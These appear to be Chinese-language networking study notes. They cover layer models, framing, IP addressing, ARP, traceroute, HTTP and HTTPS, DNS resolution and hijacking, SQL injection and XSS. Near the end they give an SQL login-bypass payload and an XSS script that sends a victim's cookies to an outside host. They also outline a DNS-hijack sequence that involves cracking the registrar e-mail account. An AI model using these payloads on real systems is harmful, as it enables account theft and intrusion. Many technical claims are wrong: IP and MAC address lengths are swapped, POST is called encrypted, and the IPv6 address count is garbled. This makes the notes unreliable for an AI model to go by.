层次 | 说明 |
---|---|
物理层(Physical Layer) | 规定物理设备标准。 网线的接口类型、物理拓扑连接等 实际的信号传输 数据被称为比特流(Bits) |
数据链路层(Data Link eview) | 定义数据的基本格式,如何传输,如何标识 数据被称为帧(Frames) |
网络层 (Network Layer) | 负责路由,选择合适的路径,进行阻塞控制等 数据被称为包(Packages) |
传输层(Transfer Layer) | 端到端传输数据的基本功能(如 TCP、UDP),屏蔽了下层的数据通信细节,让用户及应用程序不需要考虑实际的通信方法 数据被称为段(Segments) |
会话层(Session Layer) | 控制应用程序之间会话能力(不同软件数据分发给不同软件),负责两个会话进程之间的通信(两个会话层实体之间的信息交换、管理数据的交换) |
表示层(Presentation Layer) | 数据格式标识,基本压缩加密等功能 处理通信信号的表示方法,进行不同的格式之间的翻译 |
应用层(Application Layer) | 各种应用软件,(Web应用等) 保持应用程序之间建立连接所需要的数据记录,为用户服务 |
总结
网络七层模型是一个标准,而非实现;
网络七层模型是一个实现的应用模型;
网络四层模型由七层模型简化合并而来;
OSI七层协议 与 TCP/IP四层协议
OSI 七层协议 | TCP/TP四层协议 | 具体协议 |
---|---|---|
应用层 | 应用层 | HTTP、TFTP、FTP、NFS、WAIS、SMTP |
表示层 | – | TeInet、RIogin、SNMP、Gopher |
会话层 | – | SMTP、DNS |
传输层 | 传输层 | TCP、UDP |
网络层 | 网际层 | IP、ICMP、ARP、RARP、AKP、UUCP |
数据链路层 | 网络接口层 | FDDI、Ethernet、Arpanet、PDN、SLIP、PPP |
物理层 | – | IEEE 802.1A,IEEE 802.2 到 IEEE.802.11 |
OSI = Open System Interconnection Reference Model(开放式系统互联通信参考模型)
网络通信的五层模型包括:物理层、数据链路层、网络层、传输层、应用层。
案例:两台计算机通信。
层名字 | 概念及理解 |
---|---|
物理层 (比特流) |
定义通信物理设备的规格,例如网线接口类型、光纤接口类型、传输速率等; |
数据链路层 (数据帧) |
控制对物理设备的访问、规定数据如何在不同物理设备上进行传输、提供数据纠错功能; 指定规则来进行0、1传输。包括以太网协议、Mac地址、广播与ARP协议; |
网络层 (数据包) |
路由和地址解析。选择适当的网络节点进行路由。 网络是由无数个子网络构成的,广播的时候只有同一个子网里面的计算机能够收到; 用于区分哪些MAC地址是属于同一个子网的。使用的是IP协议; IP协议、ARP协议、DNS协议。 |
传输层 (数据报) |
计算机之间已经成功传输数据,从A到B,但计算机中应用很多,计算机该如何得知数据是传输给哪个应用程序的呢?通过传输层解决。 该层就是建立端口到端口的通信。 传输层最常见的协议是:TCP协议 和 UDP协议。 |
应用层 | 接收到数据格式种类繁多,比如html、MP4、mp3等; 负责应用程序间沟通。 规定应用通信所遵循的协议 |
五层体系结构 | 网络协议 |
---|---|
物理层 | 中继器、集线器、 网线、HUB(多端口转发器) |
数据链路层 | ARQ(自动重传请求协议) CSMA/CD(停止等待协议) PPP(点对点协议) |
网络层 | IP(网际协议) ARP(地址转换协议) RARP(反向地址转换协议) ICMP(internet控制报文协议) RIP(路由信息协议) OSPF(分布式链路状态协议) BGP(边界网关协议) |
传输层 | TCP(传输控制协议) UDP(用户数据报文协议) |
应用层协议 | HTTP(超文本传输协议) FTP(文件传输协议) SMTP(简单邮件传输协议) DNS(域名解析协议) SSH(安全外壳协议) DHCP(动态主机配置协议) TELNET(远程登录协议) |
分层 | 功能 |
---|---|
网络接口层 | 实现了网卡接口的网络驱动程序,以处理数据在物理媒介上的传输 |
网络层 | 实现数据包的路由和转发 |
传输层 | 为两台主机上的应用实现端到端的通信 |
应用层 | 负责处理应用程序之间的逻辑 |
停止等待协议(Stop-and-wait),每发送完一个分组就停止发送,等待对方的确认。在收到确认后再发送下一个分组;
如果没有收到确认,就只能超时重发。
停止等待协议有三种情况:无差错情况、出现差错、确认丢失和确认迟到;
无差错情况
出现错误
确认丢失
确认延迟
信道利用率低
将网络层传递的IP数据包作为帧的数据部分,再前后添加帧首部和帧尾部 封装成帧即可。
透明传输 = 传输的数据部分是文本文件,不会出现SOH或EOT这类型的帧定界控制符,这样就是透明传输;
不透明传输 = 传输的数据有部分是非ASCII的文本文件,这样数据部分就可能出现SOH或EOT这样的帧定界符,数据链路层会把数据中的EOT当做帧定界符,那么之后的数据就会丢失。
通过字符填充的方式解决。
发送端:在数据中出现帧定界符(SOH和EOT)前面插入ESC转移字符;如果数据部分存在转义字符,就在前面再加一个ESC;
接收端:将数据中的转义字符ESC删除;
传输错误
最基本的比特差错:即1变成0 或 0变成1 的问题;
收到的帧并没有出现比特错误,但却出现了帧丢失、帧重复或帧失序。
解决方式:循环冗余检测CRC
循环冗余检测CRC(Cyclic Redundancy Check),
基本思想:把数据链路层当成可靠传输的。因此在CRC检测基础上,增加了帧编号、确认和重传机制,收到正确的帧就要向发送端发送确认号。发送端在一定的期限内若没有收到对方的确认,就认为出现了差错,因而就进行重传,直到收到对方的确认为止。
这种方法在历史上曾经起到很好的作用。但现在的通信线路的质量已经大大提高了,由通信链路质量不好引起差错的概率已经大大降低。
分类 | 说明 |
---|---|
A类地址(1-126) | 网络号占8位,以0开头,主机号占后24位 |
B类地址(128-191) | 网络号占16位,以10开头,主机号占16位 |
C类地址(192-223 ) | 网络号占24位,以110开头,主机号占8位 |
D类地址(224-239) | 以1110开头,保留为多播地址 |
E类地址(240-255) | 以1111开头,保留位今后使用 |
回送地址
127.x.x.x
是本机回送地址,即本机IP堆栈内部的IP地址,主要用于网络软件测试以及本地进程间通信;
一旦使用回送地址发送数据,协议软件立即返回,不进行任何网络传输;
127.0.0.1
本机的环回地址,用来检测网络自己的IP;
ARP = 地址解析协议(Address Resolution Protocol),根据IP地址获得MAC地址的TCP/IP协议。
ARP请求数据包里包含:源主机的IP地址、MAC地址,目的主机的IP地址;
每台主机都会在自己的ARP缓冲区中建立一个ARP列表,表示IP地址与MAC地址的映射;
工作原理:
Ping
作用:用来测试两台主机之间的连通性;
原理:通过向目的主机发送ICMP Echo请求报文,目的主机收到之后发送Echo回答报文;它会根据时间和成功响应的次数估算出数据包往返时间和丢包率。
traceroute
作用:
用于查看IP数据报从一台主机传到另一台主机所经过的路由;
发送的数据包采用UDP数据报;
不使用IP数据报的头部的选项字段 RR(IP记录路由选项)的原因:
Ip首部长度限制,导致记录的IP地址最多9个,远远不够;并不是所有的路由器都支持记录路由选项,因此某些路径无法使用;
原理:
使用ICMP协议和TTL字段。
TTL字段是数据报的生存周期,初始值通常默认是64,每个处理数据报的路由器都需要把TTL值减去1 (或者 数据报在路由器停留的秒数)。(因为绝大多数路由器转发数据报时延都小于1秒,因此通常都是减去1,而且很多路由器的实现即便超过1秒也是减去1,因此可以把TTL看做一个跳站计数器)。
路由器接收到一份IP数据报时,如果TTL为0或者1,则路由器不转发该数据报,而是丢弃并给源机器并发送一份ICMP超时报文(而ICMP信息中的IP报文中源地址 = 路由器的IP地址)。
具体实施过程:
反复发送含有TTL字段的报文,直到到达目的主机;
TTL = 1 则第一个路由器将TTL减1后会丢弃报文,返回ICMP超时报文,得到第一个路由器的地址;
以此类推,TTL = x ,目的主机收到TTL为1的报文,它不会丢弃数据包并返回ICMP超时报文,因为数据包已经达到目的地址;
判断数据包是否到达主机:发送UDP数据报,选择端口号30000以上(确保其他程序使用该端口),目的主机会返回一个端口不可达的ICMP报文;
traceroute针对每个TTL会发3次UDP报文,并打印每次的往返时间。如果5秒内没有收到3次报文中任何一个的响应,则打印*号继续下一个TLL的报文发送。没有达到目的主机前,返回的是ICMP超时报文;达到主机后,会返回ICMP端口不可达报文;
区别 | IP地址 | MAC地址 |
---|---|---|
地址性质不同 | 逻辑地址 可以更改 |
物理地址 不可改变 |
可变性 | 不具备唯一性 | 具备唯一性,每个硬件出厂时MAC地址是固定的 |
工作层次不同 | 三层 转发报文 路由器基于路由表(IP地址)转发数据 |
二层 转发数据帧 二层交换机基于MAC地址转发数据 |
长度定义 | Ethernet网卡上带的地址,48位 | 32位, 两者通过ARP协议联系在一起 |
分配依据不同 | 基于制造商 | 基于网络拓扑 |
寻址功能 | 用来网络寻址 大概定位你在哪里 |
不具备网络寻址 |
有以下几种解决方式:
DHCP:Dynamic Host Configuration Protocol 动态主机配置协议。
动态分配 IP 地址,只给接入网络的设备分配IP地址;
因此同一个 MAC 地址的设备,每次接入互联网时,得到的IP地址不一定是相同的,该协议使得空闲的 IP 地址可以得到充分利用。
CIDR:Classless Inter-Domain Routing 无类别域间路由。
CIDR 消除了传统的 A 类、B 类、C 类地址以及划分子网的概念,因而更加有效的分配 IPv4 的地址空间,但无法从根本上解决地址耗尽问题。
NAT:NetWork Address Translation 网络地址转换协议。
不同局域网的主机可以使用相同的 IP 地址,从而一定程度上缓解了 IP 资源枯竭的问题。
然而主机在局域网中使用的 IP 地址是不能在公网中使用的,当局域网主机想要与公网进行通信时, NAT 方法可以将该主机 IP 地址转换成全球 IP 地址。
该协议能够有效解决 IP 地址不足的问题。
IPv6 :
作为接替 IPv4 的下一代互联网协议,有232个地址,而这个数量级,即使是给地球上每一颗沙子都分配一个IP地址,该协议能够从根本上解决 IPv4 地址不够用的问题。
HTTP1.0版本
特点 | HTTP1.0版本 |
---|---|
短暂连接 长连接 |
规定浏览器与服务器只保持短暂的连接,浏览器的每次请求都需要与服务器建立一个TCP连接,服务器完成请求处理后断开TCP连接 通过Connection:keep-alive字段强制开启长连接,该字段不是标准字段,故不同实现的行为可能不一样 |
复用性 | 保持短暂的连接无法复用 |
连接请求数 | 每个TCP连接只能发送一个请求,发送数据完毕就关闭连接 |
执行顺序 | 服务端顺序执行 |
消息传递 | 使用断开连接的方式表示Body结束 |
节约宽带 | 不支持发送部分消息 |
HOST域 | 没有host域 |
缓存处理 | 无 |
错误提示 | 定义16个状态响应码,对错误或警高的提示不够具体 |
HTTP1.1版本
特点 | HTTP1.1版本 |
---|---|
长连接 | 即TCP连接默认不关闭,可以被多个请求复用; |
复用性 | TCP连接默认不关闭,可以被多个请求复用 |
连接请求数 | 管道机制(pipelining),即同一个TCP连接里,客户端可以同时发送多个请求 |
执行顺序 | 服务端顺序执行 |
消息传递 | 必须使用Content-Length 或者 chunk-encode |
节约宽带 | 支持只发送header消息 支持只发送内容的一部分 |
HOST域 | 支持这个参数 |
缓存处理 | 很多缓存控制策略 ETag头帧、Cache-Control头帧,Vary头帧 |
错误提示 | 引入Warning头域,增加对错误或警高信息的描述 |
HTTP2.0版本
特点 | HTTP2.0 |
---|---|
执行顺序 | 不用按照顺序一一执行。采用多路复用,即在一个连接里,客户端和浏览器都可以同时发送多个请求或回应 |
二进制分帧 | 即HTTP2会将所有传输的信息分割为更小的信息和帧(frame),并对它们采用二进制格式的编码; 这个负责拆分、组装请求和二进制帧的层叫做二进制分帧层; 应用层 与 传输层之间增加一个二进制分帧层 |
首部压缩 | Header压缩:压缩服务端与客户端之间的对话;使用HPACK算法对header的数据进行压缩 |
服务端推送 | 服务端事先把客户端可能询问的内容发送给客户端缓存,这样当客户端想知道的时候就可以直接读缓存; 服务器可以对客户端的一个请求发送多个响应 |
POST和GET是HTTP请求报文的方法。
两者的区别:
区别 | POST | GET |
---|---|---|
作用 | 向服务器传递需要处理的数据 根据请求负载(报文body)对指定的资源做出处理 |
请求资源数据 从服务器获取指定的资源 |
数据大小 | 没有限制 | 不超过2kb |
安全性 | 请求参数在Requestbody里,安全性更高 且数据是加密的 |
参数会暴露在URL上 数据是明文传输的 可能会造成Cross-site request forgery攻击 |
缓存 | 不会被缓存 | 请求的静态资源会被浏览器缓存 |
数据类型 | 文本或二进制 | 文本 |
被退回的情况 | 请求被退回会重新再次执行 | 被回退时无害 |
GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1Copy to clipboardErrorCopied
# GET请求的数据放在HTTP包头中,也就是URL之后,即name1=value1&name2=value2 HTTP/1.1Copy to clipboardErrorCopied
POST /test/demo_form.asp HTTP/1.1
# POST是把提交的数据放在HTTP正文中,即/test/demo_form.asp
应用场景:
POST | GET |
---|---|
请求的结果有持续性作用 数据库内添加新的数据行 |
请求结果无持续性的副作用 |
使用get方法,则表单上收集的数据可能让URL过长 | 收集的数据及html表单内的输入字段名称的总长不超过1024个字符 |
要传输的数据不是采用ASCII编码 | 请求是为了查找资源,html表单数据仅用来搜索 |
传递机密信息时使用
传输实际主体
请求速率较慢,请求产生两个TCP数据包 | 只是查询获取数据时使用
获取资源
请求速率较快,请求产生一个TCP数据包 |
HTTP状态码(HTTP Status Code),用以表示网页服务器超文本传输协议响应状态的3位数字代码;
状态码的第一位数字决定了不同的响应状态;
状态码分类:
类型 | 说明 | 解释 |
---|---|---|
1xx | 表示消息 | 表示请求已被接收,需要继续处理 |
2xx | 表示成功 | 代表请求已成功被服务器接收、理解、并接收 |
3xx | 表示重定向 | 表示要完成请求,需要进一步操作 |
4xx | 表示请求错误 | 表示客户端看起来可能发生了错误,妨碍了服务器的处理 |
5xx | 表示服务器错误 | 表示服务器无法完成明显有效的请求 |
常用状态码:
状态码 | 介绍 |
---|---|
101 | 切换请求,从HTTP切换到WebSocket 服务器根据客户端的请求切换协议 |
200 | 请求成功,有响应体 请求成功并且服务器创建了新的资源 |
301 | 永久重定向缓存 新域名替换旧域名,旧的域名不再使用时,用户访问旧域名时用301就重定向到新的域名 |
302 | 临时重定向,不会缓存 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求 常用于未登录的y用户访问用户中心重定向到登录页面 |
304 | 协商缓存命中 是对客户端有缓存情况下服务端的一种响应 |
400 | 请求错误 服务器不理解请求的语法 |
403 | 服务器禁止访问 服务器拒绝请求 |
404 | 资源未找到 服务器找不到请求的页面 |
500 | 服务器端错误 服务器遇到错误,无法完成请求 |
503 | 服务器繁忙 服务器目前无法使用(由于超载或停机维护) |
HTTP状态码301和302区别:
区别 | 状态码301 | 状态码302 |
---|---|---|
含义 | 永久性转移 | 暂时性转移 |
概念 | 指页面永久性转移,表示为资源或页面永久性地转移到另一个位置 | 指页面暂时性转移,表示资源或页面暂时转移到另一个位置 |
解释 | 表示旧地址A的资源已经被永久地移除了,搜索引擎在抓取新内容的同时也将旧的网址交换为重定向之后的网址 | 旧地址A的资源还在,重定向只是临时从旧地址A跳转到地址B,搜索引擎会抓取新的内容而保存旧的网址 |
应用场景 | 域名需要切换、协议从http变成https | 未登录时访问已登录页时跳转到登录页面、404后跳转首页 |
尽量使用301跳转
因为302跳转会出现网页劫持现象。
从网站A做一个302重定向到网址B时,主机服务器的隐含意思是网址A随时有可能改主意,重新显示本身的内容或转向其他的地方;
大部分网址收到重定向302后,都会抓取目标网址B,如果搜索引擎遇到302转向时,百分之百都抓取目标网址B的话,就不担心网址URL劫持了;
但有些搜索引擎不能总是抓取目标网址;比如Google引擎。假设A网址很短,重定向302到B网址是很长乱七八糟的URL,很明显A网址对用户更友好、B网址对用户不友好,这是Google搜索引擎可能仍然显示A网址。这就造成了网址URL劫持的可能。也就是说,一个非法操作的人将他的A网址重定向到B网址,出于某种原因,Google搜索结果仍显示是网址A,但是内容确是网址B的内容。——网页URL劫持。
在HTTP中响应体中的Connection字段指定位keep-alive:
connection:keep-alive;
HTTP = 超文本传输协议,用于从万维网服务器传输超文本到本地浏览器的传输协议。
HTTP请求报文:
HTTP响应报文:
host
表示客户端指定自己想访问的http服务器的域名/ip地址和端口
Host: www.sina.com:8080
HTTP1.0协议支持在 HTTP报文头部设置Connection:keep-alive,默认情况是关闭的;
从HTTP1.1协议之后,连接默认就是长连接;
HTTP实际上没有长短连接,只有TCP有,TCP长连接可以复用一个TCP链接来发起多次HTTP请求;
HTTP一般会有httpd守护进程,里面可以设置keep-alive timeout,当tcp链接闲置超过这个时间就会关闭,可以在HTTP的header里面设置超时时间;
TCP的keep-alive包含三个参数,支持在系统内核的net.ipv4里面设置:
参数 | 说明 |
---|---|
tcp_keepalive_intvl = 15 | 当TCP 连接之后,闲置了参数1 会发生侦测包 |
tcp_keepalive_probes = 5 | 如果没有收到对方的ACK,每个参数2再发一次侦测包 |
tcp_keepalive_time = 1800 | 直到发送时间到参数3时长,就会丢弃该链接 |
httpd守护进程
httpd是apache超文本传输协议的主程序,被设计成一个独立运行的守护进程,会建立一个线程池来处理http请求。
命令适用范围:RedHat、Ubantu。
GET请求中会对URL中非西文字符进行编码,目的是为了避免歧义;
# 案例 name1=value1&name2=value2 在计算机中应用ASCII码表示:
6E616D6531 3D 76616C756531 26 6E616D6532 3D 76616C756532
6E616D6531:name1
3D:=
76616C756531:value1
26:&
6E616D6532:name2
3D:=
76616C756532:value2
# 服务器在接收到3D的时候,则得知前面的是一个key。
# 为了避免歧义,于是对& = 这些字符进行了编码。=(3D)、&(26)
歧义出现的形式是:
# 没有歧义的
name1 = value1;
# 有歧义的情况
value1 的值是 “va&lu=e1” 这种形式,
实际传输过程中是:name1 = va&lu=e1
本意是一个键值对,服务器传输可能会解析为两个键值对;
http = 超文本传输协议,是实现客户端和服务端之间通信的响应协议,用于处理客户端和服务端之前的请求。
方法介绍如下:
方法名 | 作用 |
---|---|
get | 获取资源 使用给定的URL从给定的服务器中检索信息,从指定资源中请求数据 只能检索信息,不对数据产生其他影响 |
post | 传输实体主体 将数据发送到服务器以创建或更新资源 请求不会被缓存 且 数据长度不受限制 |
head | 获取报文首部 与get相同,没有响应体,仅传输状态行和标题部分。 用于确认URL的有效性及资源更新的日期时间等 |
put | 传输文件 要求在请求报文主体中 包含文件的内容,然后保存到请求URL指定的位置 |
delete | 删除文件 与put方法相反,按请求URL删除指定的资源 |
options | 询问支持的方法 用来查询针对请求URL指定的资源支持的方法 |
patch | 对资源进行部分修改 put可以修改资源,但只能完全替代原始资源 |
connect | 要求与代理服务器通信时建立隧道 使用SSL和TLS把通信内容加密后经网络隧道传输 |
trace | 追踪路径 服务器会将通信路径返回给客户端 通常不会使用TRACE,它容易受到XST攻击 |
扩展
SSL = Secure Socket Layer 安全套接层;
TLS = Transport Layer Security 传输层安全;
XST攻击 = Cross-Site Tracing 跨站追踪;
案例:
options
请求:
OPTIONS * HTTP/1.1
<-- 请求方法、URL、http版本 -->
Host:www.php.cn
响应:
HTTP/1.1 200 OK
<-- 协议及版本 状态码及描述 -->
Allow:GET,POST,HEAD,OPTIONS
delete
DELETE /example.html HTTP/1.1
Host:www.php.cn
当example.html在服务器上已经被删除后,响应返回状态码是204 No Content
put
PUT /example.html HTTP/1.1
Host:www.php.cn
Content-Type: text/html
Content-Length: 1560
head
HEAD /index.html HTTP/1.1
Host:www.php.cn
返回:index.html有关的响应首部
post
POST /submit.cgi HTTP/1.1
Host:www.php.cn
Content-Length:1560
返回:submit.cgi接收数据的处理结果
get
GET /index.html HTTP/1.1
Host: www.php.cn
返回:
index.html的页面资源
短连接:
HTTP/1.0 默认使用短连接;
客户端和服务器每进行一次HTTP操作,就建立一次连接,任务结束就中断连接;
场景:
适用于用户数量巨大的web网站,如京东、淘宝等,如果采用长连接会给服务器带来巨大的消耗;
长连接:
HTTP/1.1起,默认使用长连接,用以保持连接特性;
使用长连接,会在响应头加入Connection:keep-alive 代码;
kee-alive不会永久保持连接,它有一个保持时间,可以在不同的服务器软件(如:Apache)中设定这个时间
场景:
适用于交互频繁、点对点通信,例如网络游戏、实时通信;
https是超文本传输协议,是http的安全版本,需要SSL提供加密服务;
主要用于http协议的传输,且在http与tcp之间外加一个特殊的身份验证;
区别 | https | http |
---|---|---|
端口 | 443 | 80 |
信息传输 | 用ssl进行加密的 具有安全性 |
明文 |
开销 | 需要到CA申请证书、且有费用 | 不需要申请证书 |
资源消耗 | 较多,由于加密解密处理消耗更多CPU资源 | 较少 |
工作过程:涉及到一个会话密钥
客户端想服务端发起请求
客户端使用https url访问服务器,要求web服务器建立ssl连接(secure socket layer)
客户端生成随机数R1发送给服务器,告诉服务器自己支持哪些加密算法和哈希算法
服务器向客户端发送数字证书
web服务器收到客户端请求后,将网站中的数字证书(包含公钥),传送给客户端;
服务器生成随机数R2,从客户端支持的加密算法中选择一种双方都支持的加密算法和哈希算法用机构的证书公钥解密得到证书的内容和证书签名;
服务端将证书、随机数R2,会话密钥生成算法 发给客户端;
客户端验证数字证书
该部分由浏览器内置的TSL(transport socket layer)完成;
浏览器从内置的证书列表索引,找到对应服务器下发证书的对应机构; 找到取出公钥、会话密钥生成算法、随机数R2;没有,则该证书不是由权威机构颁发;
利用公钥解密得到证书的内容和证书签名(网站的网址、网站的公钥、证书的有效期等);
浏览器依次验证 证书签名的合法性、证书记录网址与当前网址是否一致、证书的有效期等信息;
浏览器生成随机数R3,根据会话密钥算法使用R1 、R2、R3生成会话密钥;
用服务端证书的公钥加密R3 发送给客户端
服务器得到会话密钥
服务端通过自己的私钥解密出随机数R3;
根据会话密钥算法使用R1、R2、R3生成会话密钥;
客户端与服务器进行加密会话
web服务器使用会话秘钥来加密与客户端之间的通信
客户端发送加密数据服务端——客户端使用会话密钥数据后发送给服务端;
服务端响应客户端——服务端用会话密钥解密客户端发送数据(解密接收数据);用会话密钥把响应的数据加密发送给客户端(加密响应数据);
客户端解密服务端响应的数据——客户端用会话密钥解密响应数据。
早在HTTP1.0之前,浏览器每次发送HTTP请求都与服务器建立新的TCP连接,服务器完成请求处理后立即断开TCP连接,不会跟踪每个客户也不记录过去的请求;(短连接)
创建连接和关闭连接的过程需要消耗时间和资源,为了减少消耗,缩短响应时间,就需要重用连接;
而在HTTP1.1之后,默认采用持续连接;之前版本中采用的是非持续连接,想在HTTP1.1版本之前使用持续连接,那么需要指定connection字段的值是Keep-alive。
Keep-Alive模式:
服务器在相应浏览器请求后保持TCP连接;
(同一客户机与服务器之间的后续请求和响应报文可通过相同的连接进行传送)
缺点:当长时间保持TCP连接时容易导致资源被无效占用;
解决:正确设置keep-alivetimeout参数,当TCP连接在发送完最后一个HTTP响应后,该连接保持keep-alivetimeout秒,之后断开连接;
非Keep-alive模式:
必须对每一个请求的对象建立和维护一个新的连接;
(这样对于每一个连接,客户端和服务器都要分配TCP的缓冲区和变量,这样会给服务器带来负担)
缺点:响应时间长、服务器负担严重;
解决:采用Keep-alive模式;
DNS域名解析;TCP连接;发送HTTP请求;服务器处理请求并返回HTTP响应报文;浏览器解析渲染页面;连接结束;
DNS域名解析
浏览器查询DNS,获取域名对应的IP地址;浏览器搜索自身的DNS缓存、搜素操作系统的DNS缓存、读取本地的Host文件、向本地DNS服务器进行查询等;
向本地DNS服务器进行查询,查询内容在本地配置资源中,则返回解析结果给客户端,完成域名解析;
服务器缓存该网址映射关系,则调用IP地址映射,完成域名解析;
本地域名服务器未缓存该网址映射关系,会根据其设置进行递归查询或迭代查询;
TCP连接
浏览器向服务器发出建立连接请求,发起三次握手;
发送HTTP请求
浏览器向服务器发送HTTP请求;
服务器处理请求并返回HTTP报文
服务器接收请求,根据路径参数映射到特定的请求处理器进行处理,并将处理结果及相应的视图返回给浏览器;
浏览器解析渲染页面
遇到js文件、css文件及图片等静态资源的引用,则重复上述步骤向服务器请求资源;
根据请求到的资源、数据渲染页面,向客户呈现完整的页面;
连接结束
TCP协议的四次挥手。
扩展
本地域名服务器:
任何一台主机在网络地址配置时,都会配置一个域名服务器作为默认域名服务器,通常称之为本地域名服务器,是主机进行域名查询过程中首先被查询的域名服务器。
DNS实现从域名到IP地址的映射。
IP地址是互联网上计算机唯一的逻辑地址,通过IP地址实现不同计算机之间的通信,不同计算机通过IP地址区分和联系。
域名 = 符号化标识,由字母和数字构成,替代IP地址作为互联网用户访问服务器的入口;
解析示意图:
host配置文件 = windows中的 C:\Windows\System32\drivers\etc\hosts
NameServer = 是要解析域名对应的域名服务器。
域名解析涉及的服务器
服务器 | 介绍 |
---|---|
本地DNS服务器 | 任何一台主机在网络地址配置时,都会配置一个域名服务器作为默认域名服务器 |
根DNS服务器 | 最高层次的域名服务器,所有根域名服务器都知道顶级域名服务器的IP地址 因特网有13个根DNS服务器 用来管理等顶级域名服务器(如.com),通常不是直接把待查域名直接转换为IP地址,而是告诉本地域名服务器下一个应当去哪个顶级域名服务器查询 |
顶级DNS服务器 | 管理在该顶级域名服务器注册的所有二级域名 回答可能是:DNS解析结果 / 下一个要查询的DNS服务器 |
授权DNS服务器 | 每台主机都必须在授权域名服务器处登记 ,一台主机最好至少有两个授权域名服务器 域名服务器都同时充当本地DNS服务器和授权DNS服务器 授权DNS总能将其管辖的主机名转换为该主机的IP地址 |
DNS客户端 和 本地DNS服务器 是 递归;本地DNS 和 其他名称的DNS服务器 是迭代;
DNS递归 = 当主机所配置的本地DNS服务器解析不了时,后面的查询工作是由本地DNS服务器替代DNS客户端进行,只需要本地DNS服务器 向 DNS客户端返回解析结果即可;
DNS迭代 = 所有查询工作都是由DNS客户端自己进行,满足以下条件之一才会采用迭代名称解析方式:
查询本地NDS服务器时,客户端请求报文中没有申请使用递归查询 = DNS请求报文RD字段没有置为1;
客户端的DNS请求报文申请使用的是递归调用,但配置的本地DNS服务器上禁用递归查询 = 应答DNS报文头部的RA字段置0;
IP地址由网络地址和主机地址组成;
IP地址可以分配给主机,网络地址不可以分配给主机;
网络地址(网络号) 用于路由器或三层交换机对数据包进行路由选择的;
DNS不仅使用UDP协议,还使用TCP协议;
DNS使用UDP协议过程:
一台主机中的DNS应用程序想要进行一次查询,会将DNS查询报文交给UDP。
→主机端的UDP会将报文添加到首部字段,将报文交给网络层。
→网络层将UDP报文封装进一个IP数据包中,将其送给目的服务器。
→查询主机中的DNS应用程序则等待对该查询的响应,没有收到则试图向另一个DNS服务器发送该查询,或者通知调用的应用程序它不能被响应。
选择UDP原因介绍如下:
DNS的整个过程即使用了UDP又使用了TCP
进行区域传送(主域名服务器向辅助域名服务器传送改变的数据的时候)使用TCP协议;传送的数据量大,TCP允许的报文长度更长,为了保证数据准确性,会使用基于可靠连接的TCP;
客户端向DNS服务器查询域名(域名解析)的时候,返回的内容一般不超过UDP报文的最大长度,即512字节。
概念
DNS负责将域名翻译成由计算机识别的IP地址,从而完成网络连接;
通过某种手段,取得域名的解析控制权,修改域名的解析记录,将该域名对应的IP地址指向非法地址或其他受控制的IP地址;
这就是DNS劫持 = 将用户诱导至虚假站点,从而达到获取用户信息的目的。
DNS劫持实现
实现方法 | 说明 |
---|---|
DNS缓存感染 | 使用DNS请求将数据放入脆弱的DNS服务器的缓存 这些缓存信息在用户进行DNS访问时返回用户,将对通常的域名访问引导到入侵者设定的钓鱼、挂马等页面,或通过伪造邮件或其他server服务取得用户密码信息会给客人带来进一步的侵害。 |
DNS信息劫持 | TCP/IP系统避免以序列号等方式插入钓鱼数据,但是入侵者可以通过截取客户端与DNS服务器的交互来推测服务器响应于客户端的DNS查询ID。 每个DNS报告包括相关联的16位ID号,并且DNS服务器从该ID号获取请求源位置。 攻击者在DNS服务器前向用户发送虚假应答,欺骗客户访问恶意网站。 |
DNS重定向 | 攻击者如果将权威DNS服务器重定向到恶意DNS服务器,那么被劫持域名的解析就完全置于攻击者的控制之下。 |
盗用DNS服务器 | 在该攻击中,攻击者不仅可以破坏DNS服务器还可以改变DNS记录,将DNS请求重定向到恶意网站。 |
中间人(MiTM) DNS攻击 | 攻击者执行中间人(MiTM)攻击以截断用户与DNS服务器之间的通信,并向恶意网站重定向用户,以提供不同的目标IP地址。 |
流氓DNS服务器 | 攻击者可以破解DNS服务器,并更改DNS记录以将DNS请求重定向到恶意站点。 |
预防手段
直接使用IP地址访问网站,避开DNS劫持。
具体实现过程
①获取要劫持的域名信息:
攻击者首先会访问域名查询站点查询要劫持的域名信息。
②控制域名相应的E-MAIL账号:(公司进行域名注册时使用)
在获取到域名信息后,攻击者通过暴力破解或者专门的方法破解公司注册域名时使用的E-mail账号所对应的密码。
更高级的攻击者甚至能够直接对E-mail进行信息窃取。
③修改注册信息:
当攻击者破解了E-MAIL后,会利用相关的更改功能修改该域名的注册信息,包括域名拥有者信息,DNS 服务器信息等。
④使用E-MAIL收发确认函:
在修改完注册信息后,攻击者在E-mail真正拥有者之前收到修改域名注册信息的相关确认信息,并回复确认修改文件,待网络公司恢复已成功修改信件后,攻击者便成功完成DNS劫持。
URI:统一资源标识符
概念:
用来标识Web上可访问的任意类型的资源(HTML、视频、音频、程序);
统一资源标识符不是固定的,而是相对的。主要作用就是用于与其他资源区别开来的一个标识符。
组成:
1:访问资源的命名机制:比如:com(公司)、gov(政府机构)、edu(教育机构)
2:存放资源的主机名(计算机的IP号)
3:标识资源自身的路径
URL:统一资源定位符
区别 | URI | URL |
---|---|---|
关系 | URI是URL的父类 | URL 是 URI的子集 |
关系 | 类似java中的继承,子类在允许的范围内拥有父类定义的属性和方法 | 只要能唯一标识资源的就是URI,在URI基础上给出其资源的访问方式就是URL |
概念:
一种常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一;
通过把SQL命令插入到Web表单提交、输入域名、页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令的目的;
总体思路:
①找寻SQL注入的位置
②判断服务器类型和后台数据库类型
③针对不同的服务器和数据库特点进行SQL注入攻击
案例
用户名: ‘or 1 = 1 --
密 码:
String sql = "select * from user_table where username = ' "+ userName+" ' and password = ‘ “+password+” ’"
当输入上述形式的用户名和密码时,SQL语句变成:
Select * from user_table where username = ‘ ‘ or 1 = 1 # and password = ‘’
// 因为 or 1 = 1 一定会成功,后面的#表示注意,将后面的SQL代码不起作用,上述语句永远正确,用户就轻易骗过了系统。
概念:
XSS = 跨站脚本攻击(Cross site script),在于对脚本的攻击。
工作原理 = 攻击者会在web页面中插入一些恶意script代码。当用户浏览该页面的时候,那么嵌套在该页面的代码就会执行,因此会达到攻击用户的目的。
XSS分类:反射型、存储型、DOM-based型;
(非持久性XSS攻击:反射性、DOM-based)、(持久性XSS攻击:存储型)
DOM-based = 前端的漏洞;反射型、存储型 = 服务器的漏洞;
例子:
<script>window.open("http://www.fordldmc.com?params=" + document.cookie)script>
